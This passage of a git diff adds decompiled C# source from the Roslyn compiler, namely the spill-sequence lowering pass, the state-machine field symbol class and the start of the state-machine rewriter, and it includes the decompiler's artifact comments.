field.Type); + } + if (flag) + { + Spill(reference, field, (RefKind)0, sideEffectsOnly: true); + } + return field; + } + } + + public override BoundNode VisitBadExpression(BoundBadExpression node) + { + return node; + } + + public override BoundNode VisitUserDefinedConditionalLogicalOperator(BoundUserDefinedConditionalLogicalOperator node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/SpillSequenceSpiller.cs", 956); + } + + public override BoundNode VisitBinaryOperator(BoundBinaryOperator node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression right = VisitExpression(ref builder, node.Right); + BoundExpression boundExpression; + if (builder == null) + { + boundExpression = VisitExpression(ref builder, node.Left); + } + else + { + BoundSpillSequenceBuilder builder2 = new BoundSpillSequenceBuilder(builder.Syntax); + boundExpression = VisitExpression(ref builder2, node.Left); + boundExpression = Spill(builder2, boundExpression, (RefKind)0); + if (node.OperatorKind == BinaryOperatorKind.LogicalBoolOr || node.OperatorKind == BinaryOperatorKind.LogicalBoolAnd) + { + LocalSymbol local = _F.SynthesizedLocal(node.Type, _F.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)28); + builder2.AddLocal(local); + builder2.AddStatement(_F.Assignment(_F.Local(local), boundExpression)); + builder2.AddStatement(_F.If((node.OperatorKind == BinaryOperatorKind.LogicalBoolAnd) ? _F.Local(local) : _F.Not(_F.Local(local)), UpdateStatement(builder, _F.Assignment(_F.Local(local), right)))); + return UpdateExpression(builder2, _F.Local(local)); + } + builder2.Include(builder); + builder = builder2; + } + return UpdateExpression(builder, node.Update(node.OperatorKind, node.ConstantValueOpt, node.Method, node.ConstrainedToType, node.ResultKind, boundExpression, right, node.Type)); + } + + public override BoundNode VisitCall(BoundCall node) + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + BoundSpillSequenceBuilder builder = null; + ImmutableArray arguments = VisitExpressionList(ref builder, node.Arguments, node.ArgumentRefKindsOpt); + BoundExpression boundExpression = null; + if (builder == null || node.ReceiverOpt is BoundTypeExpression) + { + boundExpression = VisitExpression(ref builder, node.ReceiverOpt); + } + else if (node.Method.RequiresInstanceReceiver) + { + BoundSpillSequenceBuilder builder2 = new BoundSpillSequenceBuilder(builder.Syntax); + boundExpression = node.ReceiverOpt; + RefKind val = ReceiverSpillRefKind(boundExpression); + boundExpression = Spill(builder2, VisitExpression(ref builder2, boundExpression), val); + if ((int)val != 0 && CodeGenerator.IsPossibleReferenceTypeReceiverOfConstrainedCall(boundExpression) && !CodeGenerator.ReceiverIsKnownToReferToTempIfReferenceType(boundExpression) && !CodeGenerator.IsSafeToDereferenceReceiverRefAfterEvaluatingArguments(node.Arguments)) + { + TypeSymbol type = boundExpression.Type; + SyntaxNode syntax = _F.Syntax; + _F.Syntax = node.Syntax; + BoundLocal boundLocal = _F.Local(_F.SynthesizedLocal(type, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2))); + builder2.AddLocal(boundLocal.LocalSymbol); + builder2.AddStatement(_F.ExpressionStatement(new BoundComplexConditionalReceiver(node.Syntax, boundLocal, _F.Sequence(new BoundExpression[1] { _F.AssignmentExpression(boundLocal, boundExpression) }, boundLocal), type) + { + WasCompilerGenerated = true + })); + boundExpression = _F.ComplexConditionalReceiver(boundExpression, boundLocal); + _F.Syntax = syntax; + } + builder2.Include(builder); + builder = builder2; + } + return UpdateExpression(builder, node.Update(boundExpression, (ThreeState)0, node.Method, arguments)); + } + + private static RefKind ReceiverSpillRefKind(BoundExpression receiver) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + RefKind result = (RefKind)0; + if (!receiver.Type.IsReferenceType && LocalRewriter.CanBePassedByReference(receiver)) + { + result = (RefKind)((!receiver.Type.IsReadOnly) ? 1 : 3); + } + return result; + } + + public override BoundNode VisitFunctionPointerInvocation(BoundFunctionPointerInvocation node) + { + BoundSpillSequenceBuilder builder = null; + ImmutableArray arguments = VisitExpressionList(ref builder, node.Arguments, node.ArgumentRefKindsOpt); + BoundExpression invokedExpression; + if (builder == null) + { + invokedExpression = VisitExpression(ref builder, node.InvokedExpression); + } + else + { + BoundSpillSequenceBuilder builder2 = new BoundSpillSequenceBuilder(builder.Syntax); + invokedExpression = Spill(builder2, VisitExpression(ref builder2, node.InvokedExpression), (RefKind)0); + builder2.Include(builder); + builder = builder2; + } + return UpdateExpression(builder, node.Update(invokedExpression, arguments, node.ArgumentRefKindsOpt, node.ResultKind, node.Type)); + } + + public override BoundNode VisitConditionalOperator(BoundConditionalOperator node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression condition = VisitExpression(ref builder, node.Condition); + BoundSpillSequenceBuilder builder2 = null; + BoundExpression boundExpression = VisitExpression(ref builder2, node.Consequence); + BoundSpillSequenceBuilder builder3 = null; + BoundExpression boundExpression2 = VisitExpression(ref builder3, node.Alternative); + if (builder2 == null && builder3 == null) + { + return UpdateExpression(builder, node.Update(node.IsRef, condition, boundExpression, boundExpression2, node.ConstantValueOpt, node.NaturalTypeOpt, node.WasTargetTyped, node.Type)); + } + if (builder == null) + { + builder = new BoundSpillSequenceBuilder((builder2 ?? builder3).Syntax); + } + if (builder2 == null) + { + builder2 = new BoundSpillSequenceBuilder(builder3.Syntax); + } + if (builder3 == null) + { + builder3 = new BoundSpillSequenceBuilder(builder2.Syntax); + } + if (node.Type.IsVoidType()) + { + builder.AddStatement(_F.If(condition, UpdateStatement(builder2, _F.ExpressionStatement(boundExpression)), UpdateStatement(builder3, _F.ExpressionStatement(boundExpression2)))); + return builder.Update(_F.Default(node.Type)); + } + LocalSymbol local = _F.SynthesizedLocal(node.Type, _F.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)28); + builder.AddLocal(local); + builder.AddStatement(_F.If(condition, UpdateStatement(builder2, _F.Assignment(_F.Local(local), boundExpression)), UpdateStatement(builder3, _F.Assignment(_F.Local(local), boundExpression2)))); + return builder.Update(_F.Local(local)); + } + + public override BoundNode VisitConversion(BoundConversion node) + { + if (node.ConversionKind == ConversionKind.AnonymousFunction && node.Type.IsExpressionTree()) + { + return node; + } + BoundSpillSequenceBuilder builder = null; + BoundExpression operand = VisitExpression(ref builder, node.Operand); + return UpdateExpression(builder, node.UpdateOperand(operand)); + } + + public override BoundNode VisitPassByCopy(BoundPassByCopy node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression expression = VisitExpression(ref builder, node.Expression); + return UpdateExpression(builder, node.Update(expression, node.Type)); + } + + public override BoundNode VisitMethodGroup(BoundMethodGroup node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/SpillSequenceSpiller.cs", 1154); + } + + public override BoundNode VisitDelegateCreationExpression(BoundDelegateCreationExpression node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression argument = VisitExpression(ref builder, node.Argument); + return UpdateExpression(builder, node.Update(argument, node.MethodOpt, node.IsExtensionMethod, node.WasTargetTyped, node.Type)); + } + + public override BoundNode VisitFieldAccess(BoundFieldAccess node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression receiver = VisitExpression(ref builder, node.ReceiverOpt); + return UpdateExpression(builder, node.Update(receiver, node.FieldSymbol, node.ConstantValueOpt, node.ResultKind, node.Type)); + } + + public override BoundNode VisitIsOperator(BoundIsOperator node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression operand = VisitExpression(ref builder, node.Operand); + return UpdateExpression(builder, node.Update(operand, node.TargetType, node.ConversionKind, node.Type)); + } + + public override BoundNode VisitMakeRefOperator(BoundMakeRefOperator node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression operand = VisitExpression(ref builder, node.Operand); + return UpdateExpression(builder, node.Update(operand, node.Type)); + } + + public override BoundNode VisitNullCoalescingOperator(BoundNullCoalescingOperator node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression boundExpression = VisitExpression(ref builder, node.RightOperand); + BoundExpression leftOperand; + if (builder == null) + { + leftOperand = VisitExpression(ref builder, node.LeftOperand); + return UpdateExpression(builder, node.Update(leftOperand, boundExpression, node.LeftPlaceholder, node.LeftConversion, node.OperatorResultKind, node.Checked, node.Type)); + } + BoundSpillSequenceBuilder builder2 = new BoundSpillSequenceBuilder(builder.Syntax); + leftOperand = VisitExpression(ref builder2, node.LeftOperand); + leftOperand = Spill(builder2, leftOperand, (RefKind)0); + LocalSymbol local = _F.SynthesizedLocal(node.Type, _F.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)28); + builder2.AddLocal(local); + builder2.AddStatement(_F.Assignment(_F.Local(local), leftOperand)); + builder2.AddStatement(_F.If(_F.ObjectEqual(_F.Local(local), _F.Null(leftOperand.Type)), UpdateStatement(builder, _F.Assignment(_F.Local(local), boundExpression)))); + return UpdateExpression(builder2, _F.Local(local)); + } + + public override BoundNode VisitLoweredConditionalAccess(BoundLoweredConditionalAccess node) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + RefKind val = ReceiverSpillRefKind(node.Receiver); + BoundSpillSequenceBuilder builder = null; + BoundExpression boundExpression = VisitExpression(ref builder, node.Receiver); + BoundSpillSequenceBuilder builder2 = null; + BoundExpression boundExpression2 = VisitExpression(ref builder2, node.WhenNotNull); + BoundSpillSequenceBuilder builder3 = null; + BoundExpression boundExpression3 = VisitExpression(ref builder3, node.WhenNullOpt); + if (builder2 == null && builder3 == null) + { + return UpdateExpression(builder, node.Update(boundExpression, node.HasValueMethodOpt, boundExpression2, boundExpression3, node.Id, node.ForceCopyOfNullableValueType, node.Type)); + } + if (builder == null) + { + builder = new BoundSpillSequenceBuilder((builder2 ?? builder3).Syntax); + } + if (builder2 == null) + { + builder2 = new BoundSpillSequenceBuilder(builder3.Syntax); + } + if (builder3 == null) + { + builder3 = new BoundSpillSequenceBuilder(builder2.Syntax); + } + BoundExpression condition; + if (boundExpression.Type.IsReferenceType || boundExpression.Type.IsValueType || (int)val == 0) + { + boundExpression = Spill(builder, boundExpression, (RefKind)0); + MethodSymbol hasValueMethodOpt = node.HasValueMethodOpt; + condition = ((!(hasValueMethodOpt == null)) ? ((BoundExpression)_F.Call(boundExpression, hasValueMethodOpt)) : ((BoundExpression)_F.ObjectNotEqual(_F.Convert(_F.SpecialType((SpecialType)1), boundExpression), _F.Null(_F.SpecialType((SpecialType)1))))); + } + else + { + boundExpression = Spill(builder, boundExpression, (RefKind)1); + LocalSymbol local = _F.SynthesizedLocal(boundExpression.Type, _F.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)28); + builder.AddLocal(local); + BoundBinaryOperator left = _F.ObjectNotEqual(_F.Convert(_F.SpecialType((SpecialType)1), _F.Default(boundExpression.Type)), _F.Null(_F.SpecialType((SpecialType)1))); + condition = _F.LogicalOr(left, _F.MakeSequence(_F.AssignmentExpression(_F.Local(local), boundExpression), _F.ObjectNotEqual(_F.Convert(_F.SpecialType((SpecialType)1), _F.Local(local)), _F.Null(_F.SpecialType((SpecialType)1))))); + boundExpression = _F.ComplexConditionalReceiver(boundExpression, _F.Local(local)); + } + if (node.Type.IsVoidType()) + { + BoundStatement node2 = UpdateStatement(builder2, _F.ExpressionStatement(boundExpression2)); + node2 = ConditionalReceiverReplacer.Replace(node2, boundExpression, node.Id, base.RecursionDepth); + builder.AddStatement(_F.If(condition, node2)); + return builder.Update(_F.Default(node.Type)); + } + LocalSymbol local2 = _F.SynthesizedLocal(node.Type, _F.Syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)28); + BoundStatement node3 = UpdateStatement(builder2, _F.Assignment(_F.Local(local2), boundExpression2)); + node3 = ConditionalReceiverReplacer.Replace(node3, boundExpression, node.Id, base.RecursionDepth); + boundExpression3 = boundExpression3 ?? _F.Default(node.Type); + builder.AddLocal(local2); + builder.AddStatement(_F.If(condition, node3, UpdateStatement(builder3, _F.Assignment(_F.Local(local2), boundExpression3)))); + return builder.Update(_F.Local(local2)); + } + + public override BoundNode VisitLambda(BoundLambda node) + { + MethodSymbol currentFunction = _F.CurrentFunction; + _F.CurrentFunction = node.Symbol; + BoundNode? result = base.VisitLambda(node); + _F.CurrentFunction = currentFunction; + return result; + } + + public override BoundNode VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + MethodSymbol currentFunction = _F.CurrentFunction; + _F.CurrentFunction = node.Symbol; + BoundNode? result = base.VisitLocalFunctionStatement(node); + _F.CurrentFunction = currentFunction; + return result; + } + + public override BoundNode VisitObjectCreationExpression(BoundObjectCreationExpression node) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + BoundSpillSequenceBuilder builder = null; + ImmutableArray arguments = VisitExpressionList(ref builder, node.Arguments, node.ArgumentRefKindsOpt); + return UpdateExpression(builder, node.Update(node.Constructor, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.ConstantValueOpt, node.InitializerExpressionOpt, node.Type)); + } + + public override BoundNode VisitPointerElementAccess(BoundPointerElementAccess node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression index = VisitExpression(ref builder, node.Index); + BoundExpression expression; + if (builder == null) + { + expression = VisitExpression(ref builder, node.Expression); + } + else + { + BoundSpillSequenceBuilder builder2 = new BoundSpillSequenceBuilder(builder.Syntax); + expression = VisitExpression(ref builder2, node.Expression); + expression = Spill(builder2, expression, (RefKind)0); + builder2.Include(builder); + builder = builder2; + } + return UpdateExpression(builder, node.Update(expression, index, node.Checked, node.RefersToLocation, node.Type)); + } + + public override BoundNode VisitPointerIndirectionOperator(BoundPointerIndirectionOperator node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression operand = VisitExpression(ref builder, node.Operand); + return UpdateExpression(builder, node.Update(operand, node.RefersToLocation, node.Type)); + } + + public override BoundNode VisitSequence(BoundSequence node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression value = VisitExpression(ref builder, node.Value); + BoundSpillSequenceBuilder builder2 = null; + ImmutableArray sideEffects = node.SideEffects; + bool forceSpill = builder != null; + ImmutableArray immutableArray = VisitExpressionList(ref builder2, sideEffects, default(ImmutableArray), forceSpill, sideEffectsOnly: true); + if (builder2 == null && builder == null) + { + return node.Update(node.Locals, immutableArray, value, node.Type); + } + if (builder2 == null) + { + builder2 = new BoundSpillSequenceBuilder(builder.Syntax); + } + PromoteAndAddLocals(builder2, node.Locals); + builder2.AddExpressions(immutableArray); + builder2.Include(builder); + return builder2.Update(value); + } + + public override BoundNode VisitThrowExpression(BoundThrowExpression node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression expression = VisitExpression(ref builder, node.Expression); + return UpdateExpression(builder, node.Update(expression, node.Type)); + } + + private void PromoteAndAddLocals(BoundSpillSequenceBuilder builder, ImmutableArray locals) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + if (SynthesizedLocalKindExtensions.IsLongLived(current.SynthesizedKind)) + { + builder.AddLocal(current); + } + else if (!((Dictionary)(object)_receiverSubstitution).ContainsKey(current)) + { + LocalSymbol localSymbol = current.WithSynthesizedLocalKindAndSyntax((SynthesizedLocalKind)28, _F.Syntax); + ((Dictionary)(object)_tempSubstitution).Add(current, localSymbol); + builder.AddLocal(localSymbol); + } + } + } + + public override BoundNode VisitUnaryOperator(BoundUnaryOperator node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression operand = VisitExpression(ref builder, node.Operand); + return UpdateExpression(builder, node.Update(node.OperatorKind, operand, node.ConstantValueOpt, node.MethodOpt, node.ConstrainedToTypeOpt, node.ResultKind, node.Type)); + } + + public override BoundNode VisitReadOnlySpanFromArray(BoundReadOnlySpanFromArray node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression operand = VisitExpression(ref builder, node.Operand); + return UpdateExpression(builder, node.Update(operand, node.ConversionMethod, node.Type)); + } + + public override BoundNode VisitSequencePointExpression(BoundSequencePointExpression node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression expression = VisitExpression(ref builder, node.Expression); + return UpdateExpression(builder, node.Update(expression, node.Type)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/StateMachineFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/StateMachineFieldSymbol.cs new file mode 100644 index 0000000..ebdc514 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/StateMachineFieldSymbol.cs @@ -0,0 +1,67 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class StateMachineFieldSymbol : SynthesizedFieldSymbolBase, ISynthesizedMethodBodyImplementationSymbol, ISymbolInternal +{ + private readonly TypeWithAnnotations _type; + + private readonly bool _isThis; + + internal readonly int SlotIndex; + + internal readonly LocalSlotDebugInfo SlotDebugInfo; + + internal override bool SuppressDynamicAttribute => true; + + public override RefKind RefKind => (RefKind)0; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + bool ISynthesizedMethodBodyImplementationSymbol.HasMethodBodyDependency => true; + + IMethodSymbolInternal ISynthesizedMethodBodyImplementationSymbol.Method => ((ISynthesizedMethodBodyImplementationSymbol)ContainingSymbol).Method; + + internal override bool IsCapturedFrame => _isThis; + + public StateMachineFieldSymbol(NamedTypeSymbol stateMachineType, TypeWithAnnotations type, string name, bool isPublic, bool isThis) + : this(stateMachineType, type, name, new LocalSlotDebugInfo((SynthesizedLocalKind)(-2), LocalDebugId.None), -1, isPublic) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + _isThis = isThis; + } + + public StateMachineFieldSymbol(NamedTypeSymbol stateMachineType, TypeSymbol type, string name, SynthesizedLocalKind synthesizedKind, int slotIndex, bool isPublic) + : this(stateMachineType, type, name, new LocalSlotDebugInfo(synthesizedKind, LocalDebugId.None), slotIndex, isPublic) + { + }//IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + + + public StateMachineFieldSymbol(NamedTypeSymbol stateMachineType, TypeSymbol type, string name, LocalSlotDebugInfo slotDebugInfo, int slotIndex, bool isPublic) + : this(stateMachineType, TypeWithAnnotations.Create(type), name, slotDebugInfo, slotIndex, isPublic) + { + }//IL_0013: Unknown result type (might be due to invalid IL or missing references) + + + public StateMachineFieldSymbol(NamedTypeSymbol stateMachineType, TypeWithAnnotations type, string name, LocalSlotDebugInfo slotDebugInfo, int slotIndex, bool isPublic) + : base(stateMachineType, name, isPublic, isReadOnly: false, isStatic: false) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + _type = type; + SlotIndex = slotIndex; + SlotDebugInfo = slotDebugInfo; + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + return _type; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/StateMachineRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/StateMachineRewriter.cs new file mode 100644 index 0000000..642dbc4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/StateMachineRewriter.cs @@ -0,0 +1,358 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class StateMachineRewriter +{ + protected readonly BoundStatement body; + + protected readonly MethodSymbol method; + + protected readonly BindingDiagnosticBag diagnostics; + + protected readonly SyntheticBoundNodeFactory F; + + protected readonly SynthesizedContainer stateMachineType; + + protected readonly VariableSlotAllocator? slotAllocatorOpt; + + protected readonly SynthesizedLocalOrdinalsDispenser synthesizedLocalOrdinals; + + protected readonly ArrayBuilder stateMachineStateDebugInfoBuilder; + + protected FieldSymbol? stateField; + + protected FieldSymbol? instanceIdField; + + protected IReadOnlyDictionary? nonReusableLocalProxies; + + protected int nextFreeHoistedLocalSlot; + + protected IOrderedReadOnlySet? hoistedVariables; + + protected Dictionary? initialParameters; + + protected FieldSymbol? initialThreadIdField; + + protected abstract bool PreserveInitialParameterValuesAndThreadId { get; } + + protected StateMachineRewriter(BoundStatement body, MethodSymbol method, SynthesizedContainer stateMachineType, ArrayBuilder stateMachineStateDebugInfoBuilder, VariableSlotAllocator? slotAllocatorOpt, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Expected O, but got Unknown + this.body = body; + this.method = method; + this.stateMachineType = stateMachineType; + this.stateMachineStateDebugInfoBuilder = stateMachineStateDebugInfoBuilder; + this.slotAllocatorOpt = slotAllocatorOpt; + synthesizedLocalOrdinals = new SynthesizedLocalOrdinalsDispenser(); + this.diagnostics = diagnostics; + F = new SyntheticBoundNodeFactory(method, body.Syntax, compilationState, diagnostics); + } + + protected abstract void GenerateControlFields(); + + protected abstract void InitializeStateMachine(ArrayBuilder bodyBuilder, NamedTypeSymbol frameType, LocalSymbol stateMachineLocal); + + protected abstract BoundStatement GenerateStateMachineCreation(LocalSymbol stateMachineVariable, NamedTypeSymbol frameType, IReadOnlyDictionary proxies); + + protected abstract void GenerateMethodImplementations(); + + protected BoundStatement Rewrite() + { + if (body.HasErrors) + { + return body; + } + F.OpenNestedType(stateMachineType); + GenerateControlFields(); + if (PreserveInitialParameterValuesAndThreadId && CanGetThreadId()) + { + initialThreadIdField = F.StateMachineField(F.SpecialType((SpecialType)13), GeneratedNames.MakeIteratorCurrentThreadIdFieldName()); + } + if (PreserveInitialParameterValuesAndThreadId) + { + initialParameters = new Dictionary(); + } + OrderedSet variablesToHoist = IteratorAndAsyncCaptureWalker.Analyze(F.Compilation, method, body, ((BindingDiagnosticBag)diagnostics).DiagnosticBag); + if (((BindingDiagnosticBag)diagnostics).HasAnyErrors()) + { + return new BoundBadStatement(F.Syntax, ImmutableArray.Empty, hasErrors: true); + } + CreateNonReusableLocalProxies((IEnumerable)variablesToHoist, out nonReusableLocalProxies, out nextFreeHoistedLocalSlot); + hoistedVariables = (IOrderedReadOnlySet?)(object)variablesToHoist; + GenerateMethodImplementations(); + return GenerateKickoffMethodBody(); + } + + private void CreateNonReusableLocalProxies(IEnumerable variablesToHoist, out IReadOnlyDictionary proxies, out int nextFreeHoistedLocalSlot) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Invalid comparison between Unknown and I4 + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_0160: Unknown result type (might be due to invalid IL or missing references) + //IL_0165: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_0142: Unknown result type (might be due to invalid IL or missing references) + //IL_0144: Unknown result type (might be due to invalid IL or missing references) + //IL_017a: Unknown result type (might be due to invalid IL or missing references) + //IL_0196: Unknown result type (might be due to invalid IL or missing references) + //IL_0198: Unknown result type (might be due to invalid IL or missing references) + //IL_019a: Unknown result type (might be due to invalid IL or missing references) + Dictionary dictionary = new Dictionary(); + TypeMap typeMap = stateMachineType.TypeMap; + bool flag = (int)((CompilationOptions)F.Compilation.Options).OptimizationLevel == 0; + bool flag2 = flag && slotAllocatorOpt != null; + nextFreeHoistedLocalSlot = (flag2 ? slotAllocatorOpt.PreviousHoistedLocalSlotCount : 0); + LocalDebugId none = default(LocalDebugId); + int num4 = default(int); + foreach (Symbol item in variablesToHoist) + { + if ((int)item.Kind == 8) + { + LocalSymbol localSymbol = (LocalSymbol)item; + SynthesizedLocalKind synthesizedKind = localSymbol.SynthesizedKind; + if (!SynthesizedLocalKindExtensions.MustSurviveStateMachineSuspension(synthesizedKind) || localSymbol.IsConst || (int)localSymbol.RefKind != 0) + { + continue; + } + StateMachineFieldSymbol stateMachineFieldSymbol = null; + if (ShouldPreallocateNonReusableProxy(localSymbol)) + { + TypeSymbol type = typeMap.SubstituteType(localSymbol.Type).Type; + int num = -1; + if (flag) + { + SyntaxNode declaratorSyntax = localSymbol.GetDeclaratorSyntax(); + int num2 = method.CalculateLocalSyntaxOffset(LambdaUtilities.GetDeclaratorPosition(declaratorSyntax), declaratorSyntax.SyntaxTree); + int num3 = synthesizedLocalOrdinals.AssignLocalOrdinal(synthesizedKind, num2); + ((LocalDebugId)(ref none))._002Ector(num2, num3); + if (flag2 && slotAllocatorOpt.TryGetPreviousHoistedLocalSlotIndex(declaratorSyntax, ((PEModuleBuilder)F.ModuleBuilderOpt).Translate(type, declaratorSyntax, ((BindingDiagnosticBag)diagnostics).DiagnosticBag), synthesizedKind, none, ((BindingDiagnosticBag)diagnostics).DiagnosticBag, ref num4)) + { + num = num4; + } + } + else + { + none = LocalDebugId.None; + } + if (num == -1) + { + num = nextFreeHoistedLocalSlot++; + } + string name = GeneratedNames.MakeHoistedLocalFieldName(synthesizedKind, num, localSymbol.Name); + stateMachineFieldSymbol = F.StateMachineField(type, name, new LocalSlotDebugInfo(synthesizedKind, none), num); + } + if (stateMachineFieldSymbol != null) + { + dictionary.Add(localSymbol, new CapturedToStateMachineFieldReplacement(stateMachineFieldSymbol, isReusable: false)); + } + continue; + } + ParameterSymbol parameterSymbol = (ParameterSymbol)item; + if (parameterSymbol.IsThis) + { + NamedTypeSymbol containingType = method.ContainingType; + StateMachineFieldSymbol stateMachineFieldSymbol2 = F.StateMachineField(containingType, GeneratedNames.ThisProxyFieldName(), isPublic: true, isThis: true); + dictionary.Add(parameterSymbol, new CapturedToStateMachineFieldReplacement(stateMachineFieldSymbol2, isReusable: false)); + if (PreserveInitialParameterValuesAndThreadId) + { + StateMachineFieldSymbol hoistedField = (containingType.IsStructType() ? F.StateMachineField(containingType, GeneratedNames.StateMachineThisParameterProxyName(), isPublic: true, isThis: true) : stateMachineFieldSymbol2); + initialParameters.Add(parameterSymbol, new CapturedToStateMachineFieldReplacement(hoistedField, isReusable: false)); + } + } + else + { + StateMachineFieldSymbol hoistedField2 = F.StateMachineField(typeMap.SubstituteType(parameterSymbol.Type).Type, parameterSymbol.Name, !PreserveInitialParameterValuesAndThreadId); + dictionary.Add(parameterSymbol, new CapturedToStateMachineFieldReplacement(hoistedField2, isReusable: false)); + if (PreserveInitialParameterValuesAndThreadId) + { + StateMachineFieldSymbol hoistedField3 = F.StateMachineField(typeMap.SubstituteType(parameterSymbol.Type).Type, GeneratedNames.StateMachineParameterProxyFieldName(parameterSymbol.Name), isPublic: true); + initialParameters.Add(parameterSymbol, new CapturedToStateMachineFieldReplacement(hoistedField3, isReusable: false)); + } + } + } + proxies = dictionary; + } + + private bool ShouldPreallocateNonReusableProxy(LocalSymbol local) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + SynthesizedLocalKind synthesizedKind = local.SynthesizedKind; + OptimizationLevel optimizationLevel = ((CompilationOptions)F.Compilation.Options).OptimizationLevel; + if ((int)optimizationLevel == 1 && (int)synthesizedKind == 0) + { + return false; + } + return !SynthesizedLocalKindExtensions.IsSlotReusable(synthesizedKind, optimizationLevel); + } + + private BoundStatement GenerateKickoffMethodBody() + { + F.CurrentFunction = method; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + NamedTypeSymbol namedTypeSymbol = (method.IsGenericMethod ? stateMachineType.Construct(method.TypeArgumentsWithAnnotations, unbound: false) : stateMachineType); + LocalSymbol localSymbol = F.SynthesizedLocal(namedTypeSymbol, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + InitializeStateMachine(instance, namedTypeSymbol, localSymbol); + IReadOnlyDictionary readOnlyDictionary; + if (!PreserveInitialParameterValuesAndThreadId) + { + readOnlyDictionary = 